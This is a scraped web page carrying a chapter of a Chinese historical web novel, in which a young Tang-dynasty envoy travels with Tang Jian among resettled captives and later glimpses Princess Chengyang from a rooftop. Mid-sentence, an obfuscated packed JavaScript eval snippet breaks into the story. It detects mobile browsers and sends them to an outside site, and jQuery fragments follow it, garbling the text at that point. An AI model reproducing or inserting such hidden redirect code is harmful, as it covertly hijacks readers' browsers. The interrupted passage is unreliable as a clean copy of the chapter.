默认冷灰
24号文字
方正启体

16. 塑金身(一)

作者:游韧本书字数:K更新时间:
    爱到深处是心疼。


    我爱你,故而觉得自己做什么都累了你,故而觉得你走的每一步都辛苦,从中生出怨怼。


    我理解你,可是心如刀割,所以怨恨你。


    -


    贞观十五年的夏秋之交,我认识了我的第二位师傅——贞观朝第一位外交官、首任鸿胪寺卿,如今的民部尚书唐俭。


    这场珍贵的师徒情谊来自于江夏王的引荐。


    如今鸿胪寺没有寺卿,也没有少卿,目前主持日常工作的就是我这个新任寺丞。江夏王认为我年轻不知事,也想藉此机会拉拢民部,方便日后工作,因此牵了这条线。


    英国公李勣班师回朝后,带回了五万薛延陀战俘。我与唐俭负责将身体残缺的人安置在山南道服徭役,身体健全的人进入将作监做工,有了第一次一起出差的机会。


    唐俭骑着马也不耽误剥栗子,栗子壳随马蹄踏草留下一路陈迹,“容台,你可知道身为大唐的鸿胪,最不得少的傍身之技是什么?”


    “想必须得通晓诸国邦事,山川固防?”


    “不对。”


    “谙达各部语言礼制,风俗习气?”


    “还不对。”


    我绞尽脑汁也想不出还有什么,难道是:“周旋敏捷,抱节守贞?”


    唐俭咧开一口黄牙,笑道:“跑得快。你正在与敌人谈判,炙着羊肉饮着酒,拍对面可汗的肩膀叫兄弟。将要义结金兰之际,突然我军就奇袭了,谁知道这回的行军大总管救不救你?得自己知道跑啊。”


    我瞠目结舌:“还能不救我?!”


    见死不救斩立决啊!


    然而真的能。山南道依秦岭而成,马行不快,唐俭讲了一路他当年与颉利可汗谈判时的往事。


    颉利与他把酒言欢,热泪盈眶,二人商量好日后谁也别攻打谁,大唐突厥要做和平相处的好朋友。


    颉利被唐俭的人格魅力感染,眼看就要认他为义父,帐外忽传卫国公李靖率领一万兵马直捣阴山。


    颉利气得呆傻住了,不可置信地瞪着唐俭:“你这个骗子!”


    唐俭也呆傻住了,一边躲避挥刀乱砍的颉利一边尖叫:“我也不知道啊没人跟我说啊!!”


    待到先锋苏定方席卷了颉利的牙帐,愤怒的突厥可汗不再有功夫拿唐俭泄愤,他嘱咐属下将他碎尸万段,自己逃去了。


    哀哉唐俭马都来不及牵,仅凭双腿活活狂奔了七个昼夜,寻到唐军大营时,发髻上还插着半支箭。


    “哈哈哈哈哈——”


    唐俭的口才好极了,我笑得就要从马背上滚下来。他恨得咬牙切齿,大骂道:“畜生,我永远都不会原谅李靖。”


    隋末战乱,山南道多有民户逃入山中或越山而去,户籍流失高达百之八百,朝廷为增加人口恢复生产,常将战俘迁入其中。我想这也算一种皇恩浩荡,让他们得以融入大唐,成为百姓。


    均州富庶,集州贫苦,战俘只能去人所不愿去的地方,也让我得见盛世之下的暗淡一隅。


    我们夜间宿在驿馆,然贫苦州县的驿馆也很残旧,秋风顺着皲裂的窗棂吹进来,倒有些割人一般的疼了。


    “唐尚书,为什么这儿的人夜里都不点火啊?”我趴在窗前远眺,满目茅屋栉比,竟没有一户亮着光。


    他也向窗外望,“没钱,没油蜡,没炉子,都有可能。”


    “尚书,郎中。”掌固扣门道。


    方才我将战俘分成批次,轮流听译语人宣讲贞观律。此刻掌固回来复命,苦着脸说:“这一批战俘也不知怎么了,刚来就惹是生非。这便有人与邻里冲突起来了,还请二位去瞧一瞧罢。”


    我们即刻动身,只见那受伤的农户倒在一位不到束发之年的男童怀中,头上鲜血淋漓,一抬手竟少了半张手掌。


    我吓得发蒙了:“他把人手给砍了?”


    掌固忙道:“不是,不是,他就打了头。”


    农户“嗳哟”几声,撑着地起身,用残缺的手抓着我的腿:“这位郎君,他偷小民的炭,请郎君为小民做主!”


    “嗳,你做什么?放手放手!”掌固劈手将他拉开,可他怎么都不动,竟很有力气。情急之下,掌固往他胸口踢上一脚,将他踢得飞出几丈远。


    男童大叫着扑过去扶:“阿爷!”


    “你踢他做什么!”我忙嚷道,转头问掌固:“那战俘哪儿去了?”


    “属下已将他逮捕,正关在驿馆的马房。”


    唐俭道:“炭还了就得了,没必要闹大,你且免他七日的粮,以后不许再犯。”


    刚要走,那农户偏又爬过来,几乎有了哭音:“不成!不成!郎君,他将草民的绢都踏坏了,草民攒了整整一年才有这些绢,请郎君为草民做主!”


    打眼一瞧,他实在家徒四壁,一间几丈宽的茅屋住了他们父子两个,连床都没有,炉灶就在睡觉的地铺旁。半敞的铜锅里坐着糠粟空饼,破了一角的瓦罐内似乎是粥。


    困苦得让人心凉,我有些不忍心了。趁着唐俭不留意,我留下自己的程粮钱。


    “福手是什么?”回程路上,我问唐俭,“今早我问县令那户人家的情况,县令教我不要理,说那是‘福手’,民间是很常见的。”


    唐俭抬起双臂,用自己的一只手砍另一只,“自断手足,以免徭役,称福手福足。”


    “啊?”


    “你这个人。”唐俭嗤笑一声,策马疾行。我随在他身后一路追赶,他的腿脚灵敏极了,老鸿胪亡命天涯的底子。


    呼啸风声中,我听见唐俭说:“如果太子也见到这样的场面就好了。”


    我又没理解,他与江夏王太不一样,他说话实在很爱兜圈子,难道这也是老鸿胪的习惯么?


    “太子倘若见过百姓的辛苦,也便不觉得圣人对他的严苛没有道理了。”唐俭打量我一眼,见我一派懵懂,眯着眼睛说:“有奖竞猜。‘承乾啊,你瞧这粒米——’”


    这题我会!!!


    “像不像粟农的汗!”


    “承乾啊,你看这杯葡萄酒?”


    “像不像战士流下的鲜血!!”


    唐俭哈哈大笑,将怀里的一把栗子丢给我,又往我的马屁股上狠狠拍了一鞭。


    官马胆子小,一鞭落下还以为挨了牧监的打,即刻奔腾起来。我一骑绝尘狂叫而去,身后是唐俭开朗的谑笑声:


    “奖励你把我那份述职文书也写了,先回去磨墨罢,小子!”


    秋日马蹄疾,我们在人间只停留了短短一个月,浮生万象浅尝辄止。


    连续几个晚上,我都梦见那只福手。


    -


    朔望大朝前三日,民部上表,建议禁止百姓自伤肢体,山南道五州因去岁有时疫,免除今年徭役赋税。


    出门一个月,我的《高句丽满朝文武祖宗十八代》搁置已久,夜里只好点灯熬油。逖之为了筹备祭祀也走不成,抱着案牍来主客司与我一同取暖,没写几个字便哈欠连天。


    “你怎么困成这样?一白天也没见你,你去太庙了?”


    “去什么太庙,我要能去太庙就不必与你在此点灯了。”他眼都睁不开,拖着懒音说:“东宫率更寺。原来的率更令欧阳询过世了,我现在检校他的差,作太子朔望大朝的礼仪导引。”


    “这有什么?循例来便得了,太子又不是没参加过大朝。”


    他神色诡秘,一派故弄玄虚:“你不知道,这回不一样,他是要羽化登仙去。”


    什么疯子,我摆手让他写他的昊天大帝祷词,他却道:“你不信?你且等着瞧罢。东宫寻了个神医,他已健步如风了。”


    啊?!


    我惊掉下巴,诧道:“还有这样的事?太医署都治不好,何处的华佗?”


    逖之嘿嘿笑:“你别问我,我也不知,许是姑姑显灵罢。”


    天下间真是无奇不有,神医若真治好了太子,也算是功德一件。


    我正想着,耳


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15825436|175503||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    听他道:“只是那人可恨,我与太子温习礼仪,他偏在一旁紧张得什么似的。我是能害了太子不成?”


    “谁?”


    “还能是谁?”


    那恐怕只有杜荷了。


    我忍不住笑:“你说这是不是圣人的家风?每个皇帝都要有个登堂入室的死党,比如裴寂和高祖皇帝,你阿爷和圣人。”


    “美不死他,我阿爷和圣人是什么交情?大业年间,圣人想去云定兴帐下从军,谁也不理他,只有我阿爷收拾包袱陪他去。他杜荷敢摸一下枪……”


    话说了一半又撂下,逖之噎了一口胡饼似的顿住,声音压下来,却还是念叨不休:“你说他两个不会真是断袖罢……”


    我竖起黄麻纸,将自己与他隔开,斩钉截铁:“不是。”


    “你又知道?”


    可不是知道么?


    逖之眨着眼睛瞪着我,很不理解。


    于是我决定要他去个好地方。


    是夜无云无月,我再次立在主客司的房顶,身边多了一个逖之。


    我指着东宫的方向说:“没骗你罢?这儿真能看见东宫。”


    隔了一道宫墙,越过绕宫城而过的蜿蜒溪流,又隔一道宫墙,东宫一览无余。


    怕见到什么不该见的,我背过身去,拍他的肩让他自己看。


    逖之瞪大眼睛,指着远处手指发颤:“这……”


    这什么这,公主与准驸马都尉骑个马不是很正常么?


    “这……”


    “你也太大惊小怪了罢,至于么?”


    “这……”


    嗯?难道不止骑马?


    别是亲到一起去了?


    那就不大方便看了罢……我正犹豫着,觉得还是离开得好,逖之却死死抓着我的胳膊,教我也好奇起来了。


    对不起对不起对不起我真的不是故意的——


    好极了!没有亲到一起!


    东宫卫率府外,几十位兵曹手持长矛列阵在前。一个身披貂氅的娇小少女立于其先,不知正说些什么。


    兵曹个子高,虽未披甲但仍然很壮实,应该是突厥或是靺鞨人。


    这些兵曹挺胸昂首,站立得规整极了,正在等待少女一个个绕到他们身边。


    奇景之所以谓之奇景,便是这样一座山头,巴掌大的白毛松鼠统帅林中豹。


    眼前人齐齐举矛向天,金戈化作寒光一片,组成一幅冰冷坚硬的铠甲。


    我下巴都要掉下来了,抚着心口说:“这、这、这是谁啊?!”


    “城阳公主。”逖之面如土色,夜色都遮不住他的一脸苍白。他再也待不住了,哪怕双腿发软也好,趔趄着就要跑下屋顶。


    我拉着他的手臂:“逖之,你回头。”


    他着急得了不得,一面挣扎一面试图反手拽住我,几乎要与我生气了:“回什么头,你别看了,权当做什么都没见到,倘若你胆敢说出去一个字——”


    “逖之,你回头!”


    “你有毛病么你?这是你该看的吗?快跟我走!”


    我就要疯了:“逖之,你回头!”


    他狠狠剜了我一眼,也许瞧着我的神情是很严肃的,所以才不得不愣怔了几个瞬间。


    我依旧抓着他,看他深吸一口凉气,秉承着一副赴死的心,极缓慢地回过身去。


    正对上城阳公主的目光。


    城阳公主看到了我们。


    这样远,隔着几重高墙、一道溪流。太极宫千万座殿宇,屋檐上麻雀乌鸦什么不落脚,她偏瞧见了我们两个人。


    意外的是,公主一点儿都不害怕。


    她很兴奋。


    她不停招手,生怕我们看不着她似的,甚至颇活泼地跳了两步。


    白皮貂闪着银光,公主面上带笑,口中似乎是:


    “天呀!二表哥!!!”


    逖之嘴角抽了一抽,彻底晕倒在我身上:


    “好久不见,衡真。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)